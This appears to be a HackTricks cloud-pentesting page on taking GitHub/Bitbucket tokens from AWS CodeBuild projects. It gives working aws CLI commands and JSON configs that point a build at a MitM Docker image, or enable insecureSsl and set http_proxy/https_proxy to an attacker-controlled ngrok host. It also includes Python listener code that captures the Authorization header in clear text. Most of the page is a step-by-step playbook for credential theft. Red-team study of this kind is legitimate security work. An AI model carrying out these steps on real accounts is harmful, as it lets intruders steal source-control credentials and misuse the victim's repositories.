# AWS Codebuild - Token Leakage
{% hint style="success" %}
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{% endhint %}
## Recover Github/Bitbucket Configured Tokens
First, check if there are any source credentials configured that you could leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
* Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
* **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
* You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
* Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
* Create a **new Codebuild project** or **modify** the environment of an existing one.
* Set the project to use the **previously generated Docker image**
3. **Set the MitM proxy in your host**
* As indicated in the **Github repo** you could use something like:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
{% hint style="success" %}
The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
{% endhint %}
4. **Run the build & capture the credentials**
* You can see the token in the **Authorization** header:
This could also be done from the aws cli with something like
{% code overflow="wrap" %}
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
```
{% endcode %}
### Via insecureSSL
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
* First you need to enumerate the current configuration with something like:
```bash
aws codebuild batch-get-projects --name
```
* Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
* Moreover, add also the env variables **http\_proxy** and **https\_proxy** pointing to your tcp ngrok like:
{% code overflow="wrap" %}
```bash
aws codebuild update-project --name \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
```
{% endcode %}
* Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http\_proxy and https\_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
### ~~Via HTTP protocol~~
{% hint style="success" %}
**This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
{% endhint %}
An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
* An attacker could add the environment variables **http\_proxy** and **https\_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
* Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
* Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http\_proxy and https\_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
{% hint style="warning" %}
Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
{% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
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Support HackTricks
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
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[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) (1).png)
[**HackTricks Training GCP Red Team Expert (GRTE)**.png)
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